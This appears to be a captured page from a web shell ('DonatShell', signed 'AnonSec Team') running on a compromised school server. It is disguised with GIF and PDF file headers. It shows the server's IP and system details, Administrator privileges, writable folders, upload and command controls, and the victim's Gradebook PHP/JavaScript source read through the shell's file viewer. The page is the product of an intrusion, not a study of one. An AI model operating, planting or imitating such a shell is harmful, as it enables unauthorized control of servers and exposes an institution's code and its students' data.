GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Gradebook/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Gradebook/EvaluationSubmission_END.phpinc
<?
// Gradebook/EvaluationSubmission_END.phpinc
// BEGIN Evaluation submission end code.
?>
	<input name="f_uploadFilename" id="hid_uploadFilename" type="hidden" value="<?=$uploadFilename?>">
</form>
<?
// END Evaluation submission end code.
?>
<script>
	// checkFileUpload()
	// Ensure a file has been selected for upload.
	function checkFileUpload() {
		let uploadOK = false;
		let DEBUG = true;
		if ( document.getElementById('inpFileUpload') ) {
			let eUpload = document.getElementById('inpFileUpload'); // The input type="file" element.
			let eUploadError = document.getElementById('divFileploadError'); // The following div element to display an error.
			eUploadError.innerHTML = '';
			let eUploadFile = document.getElementById('hid_uploadFilename'); // The filename(s) needed for the upload file.
			let filesToUpload = eUploadFile.value.split(',');
			let filesToUploadCount = filesToUpload.length;
			if ( eUpload.value != "" ) {
				// Get the list of files to upload from hid_uploadFilename
				if ( DEBUG ) { console.log(`${PC}Files to upload count=${filesToUploadCount} filesToUpload=${filesToUpload}`,CI); }
				let filesSelectedForUpload = eUpload.files;
				let filesSelectedForUploadCount = filesSelectedForUpload.length;
				if ( DEBUG ) {
					console.log(`${PC}Files selected for upload count=${filesSelectedForUploadCount}`,CL);
					for (let i = 0; i < filesSelectedForUploadCount; i++) {
						console.log(`${PC}Filename[${i}]=${filesSelectedForUpload[i].name}.`,CL);
					}
				}
				if (filesToUploadCount === filesSelectedForUploadCount ) {
					let fileNameOKcount = 0;
					let prefix = '';
					for ( let i = 0; i < filesSelectedForUploadCount; i++ ) {
						let fileNameToUpload = filesSelectedForUpload[i].name;
						if ( filesToUpload.includes(fileNameToUpload) ) {
							fileNameOKcount++;
						} else {
							eUploadError.innerHTML += prefix + ' An incorrect file ['+fileNameToUpload+'] was selected for upload.';
						}
					}
					if ( fileNameOKcount === filesToUploadCount ) { uploadOK = true; }
				} else {
					uploadOK = false;
					eUploadError.innerHTML = ' An incorrect number of files selected for upload.';
				}
			} else {
				if ( filesToUploadCount !== 0 ) {
					eUploadError.innerHTML = ' No file was selected for upload.';
					uploadOK = false;
				} else {
					uploadOK = true;
				}
			}
		} else {
			uploadOK = true;
		}
		if ( DEBUG ) { console.log(`${PC}uploadOK=${uploadOK}`,CL); }
		//uploadOK = false;
		return uploadOK;
	} // END checkFileUpload.
	//let e_formAssignment = document.getElementById('formAssignment');
	//e_formAssignment.addEventListener('submit', checkFileUpload);
	
<?
if ( true || $_SESSION['userId'] == 1 ) { // Should the assignment be setup so li elements  can be checked off, unchecked.
?>
	let DEBUG = false;
	let ttLIshown = false;
	let counter1 = 0;
	let counter2 = 0;
	let counter3 = 0;
	let counter4 = 0;
	let counter5 = 0;
	let ttFunction = ttCheck;
	function _Initialize_Page() {
		var DEBUG = false;
		if ( DEBUG ) { console.groupCollapsed(`${PC}_Initialize_Page[]`,CG); } else { console.log(`${PC}_Initialize_Page[]`,CH); }//
		// Setup li elements so they can be checked off, unchecked.
		let liAll = document.getElementsByTagName('li'); // Get collection of li elements.
		//console.dir(liAll[3]);
		if ( DEBUG ) { console.log(`${PC}liAll.length=${liAll.length}`,CL); }
		for ( let i=0; i<liAll.length; i++ ) { // Loop thru li elements.
			let li= liAll[i];
			// Search for OL and FORM parentNodes.
			let pNodes = '';
			var eWalk = li;
			let hasOL = false;
			let addListener = false;
			let depth = 0;
			while( eWalk && eWalk.tagName && eWalk.tagName !== "BODY" ) { // Parse up the DOM.
				if ( eWalk.nodeName == 'OL' && eWalk.className.search('nocheck') === -1) { // Is this an OL w/o nocheck class?
					//console.dir(eWalk);
					//console.log(eWalk.className.search('nocheck'));
					hasOL= true; // Set true so addListener can be set true if FORM is found.
					depth++; // Increase the list depth.
				} // Is this an OL w/o nocheck class?
				if ( hasOL && eWalk.nodeName == 'FORM' ) { // Is the OL in a FORM?
					addListener= true; // Both OL and FORM found. Event listener should be added.
				} // Is the OL in a FORM?
				pNodes += ','+ eWalk.nodeName; // Keep a list of nodeNames.
				eWalk = eWalk.parentNode; // Get the next parentNode.
			} // Parse up the DOM.
			if ( addListener ) { // Should an event listener be added?
				// Calculate the counter for the li element
				// This works to a depth of 5. Should probably we written as a recursive function.
				switch ( depth ) {
					case 1:
						counter1++;
						counter = counter1.toString();
						counter2 = 0;
						counter3 = 0;
						counter4 = 0;
						counter5 = 0;
						break;
					case 2:
						counter2++;
						counter = counter1.toString()+'.'+counter2.toString();
						counter3 = 0;
						counter4 = 0;
						counter5 = 0;
						break;
					case 3:
						counter3++;
						counter = counter1.toString()+'.'+counter2.toString()+'.'+counter3.toString();
						counter4 = 0;
						counter5 = 0;
					case 4:
						counter4++;
						counter = counter1.toString()+'.'+counter2.toString()+'.'+counter4.toString();
						counter5 = 0;
						break;
					case 5:
						counter5++;
						counter = counter1.toString()+'.'+counter2.toString()+'.'+counter4.toString()+'.'+counter5.toString();
						break;
				}
				li.counter = counter; // Add the counter to the li element.
				li.style.zIndex = depth - 5; // Set a negative zIndex with the deepest element closest to the top.
				//li.style.listStylePosition = 'outside';
				//li.style.listStylePosition = 'inside';
				if ( DEBUG ) { console.log(`${PC}${counter} hasOL=${hasOL} addListener=${addListener} pNodes=${pNodes} depth=${depth}`,CI); }
				// Add the click event listener.
				li.addEventListener('click', event => {
					if ( ttLIshown ) {
						//console.log(`${PC}ttHide[]`,CD);
						ttHide();
						ttLIshown = false;
					}
					if ( typeof e.counter !== 'undefined' ) { // Is it defined?
						let e = event.target;
						let isOK = isOverLiBefore(e);
						//console.log(`${PC}counter=${e.counter} zIndex=${e.style.zIndex} className=${e.className}`,CL);
						if ( isOK ) {
							if ( DEBUG ) { console.log(`${PC}e.className=${e.className}`,CL); }
							if ( e.className.indexOf('checked') === -1 ) { // Is it unchecked?
								// Unchecked li. Check it.
								//console.log(`${PC}Unchecked li. Check it.`,CS);
								e.className = e.className + ' checked';
								e.saveBackgroundColor = e.style.backgroundColor;
								//li.style.listStylePosition = 'outside';
								e.style.backgroundColor = '#ddd';
								e.style.opacity = "0.66";
								event.stopPropagation();
								ttFunction = ttUncheck;
							} else { // Is it unchecked?
								// Checked li. Uncheck it.
								//console.log(`${PC}Checked li. Uncheck it.`,CS);
								e.className = e.className.replace(' checked','');
								e.style.backgroundColor = e.saveBackgroundColor;
								//li.style.listStylePosition = 'outside';
								e.style.opacity = "1.0";
								event.stopPropagation();
								ttFunction = ttCheck;
							} // Is it unchecked?
							//console.log(`${PC}e.className=${e.className}`,CD);
						} else {
							//console.log(`${PC}Mouse out of range.`,CW);
						}
					} // Is it defined?
				}) // END click.
				// Add the mouseleave event listener.
				li.addEventListener('mouseleave', event => {
					event.stopPropagation();
					if ( ttLIshown ) {
						//console.log(`${PC}ttHide[]`,CD);
						ttHide();
						ttLIshown = false;
					}
				}) // END mouseleave.
				// Add the mousemove event listener.
				li.addEventListener('mousemove', event => {
					mouseXY(event);
					e = event.target;
					let isOK = isOverLiBefore(e);
					if ( isOK ) {
						ttFunction(event);
					} else {
						if ( ttLIshown ) {
							//console.log(`${PC}ttHide[]`,CD);
							ttHide();
							ttLIshown = false;
						}
					}
					//if ( DEBUG ) { console.log(`${PC}mouse mx=${mx} my=${my}`,CL); }
				}) // END mousemove.
			} // Should an event listener be added?
		} // Loop thru li elements.
		if ( DEBUG ) { console.groupEnd(); }
	} // END _Initialize_Page.
	
	// ttCheck(evt)
	// Show the check tooltip.
	function ttCheck(evt) {
		e = evt.target;
		let isOK = isOverLiBefore(e);
		if ( isOK && typeof e.counter !== 'undefined' ) {
			//console.log(`${PC}e.className=${e.className}`,CL);
			ttShow('Click to check step '+e.counter+' as finished.','info');
			ttLIshown = true;
		}
	} // END ttCheck.
	
	// ttUncheck(evt)
	// Show the uncheck tooltip.
	function ttUncheck(evt) {
		e = evt.target;
		let isOK = isOverLiBefore(e);
		if ( isOK && typeof e.counter !== 'undefined' ) {
			//console.log(`${PC}e.className=${e.className}`,CL);
			ttShow('Click to uncheck step'+e.counter+'.','info');
			ttLIshown = true;
		}
	} // END ttCheck.
	
	// isOverLiBefore(e)
	// Return true if the mouse is over the li::before, else false.
	function isOverLiBefore(e) {
		var DEBUG = false;
		let depth = parseInt(e.style.zIndex) + 5;
		if ( DEBUG ) { console.group(`${PC}isOverLiBefore[e.nodeName=${e.nodeName} .counter=${e.counter} .depth=${depth}]`,CG); }//Collapsed
		let isOK = true;
		let liBounds = ElementBounds(e);
		if ( DEBUG ) { console.log(`${PC}my=${my} li.top=${liBounds.top} my>liBounds.top+22=${(my > liBounds.top + 22)}`,CL); }
		// Ensure my is over li::before.
		if ( ( typeof my === 'undefined' ) || my > liBounds.top + 22 ) { // Is my too low?
			// Yes, my too low.
			isOK = false;
		} else { // Is my too low?
			// No, check mx.
			// Calculate the li number text width.
			let counterText = e.counter;
			let e_spnToMeasureCounterTextWidth = document.getElementById('spnToMeasureCounterTextWidth');
			e_spnToMeasureCounterTextWidth.innerHTML = counterText + '. ';
			e_spnToMeasureCounterTextWidth.style.display = 'table-cell';
			let counterTextWidth = e_spnToMeasureCounterTextWidth.offsetWidth;
			e_spnToMeasureCounterTextWidth.style.display = 'none';
			let depthReduction = Math.pow(depth, 2) * 3;
			if ( DEBUG ) { console.log(`${PC}counterTextWidth=${counterTextWidth} depthReduction=${depthReduction}`,CL); }
			let mxMin = liBounds.left;
			let mxOffset = mx + 34;
			let mxMax = liBounds.left + counterTextWidth;// - depthReduction;
			if ( DEBUG ) { console.log(`${PC}mx=${mx} mxMin=${mxMin} mxMax=${mxMax} counterTextWidth=${counterTextWidth}`,CI); }
			if ( mx < mxMin || mx > mxMax ) { // Is to far left or right?  1 2 3, 1 4 9, 1 4 27
				isOK = false;
			} // Is to far left or right?
		} // Is my too low?
		if ( DEBUG ) { console.groupEnd(); }
		if ( DEBUG ) { console.log(`${PC}isOK=${isOK}`,CS); }
		return isOK
	} // END isOverLiBefore.
<?
}  // Should the assignment be setup so li elements  can be checked off, unchecked.
?>
</script>
<span id="spnToMeasureCounterTextWidth">0</span>
<?
if ( !isset($GradingCriteria) ) { require('../../../GradingCriteria.phpinc'); }
require('common/sectionFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team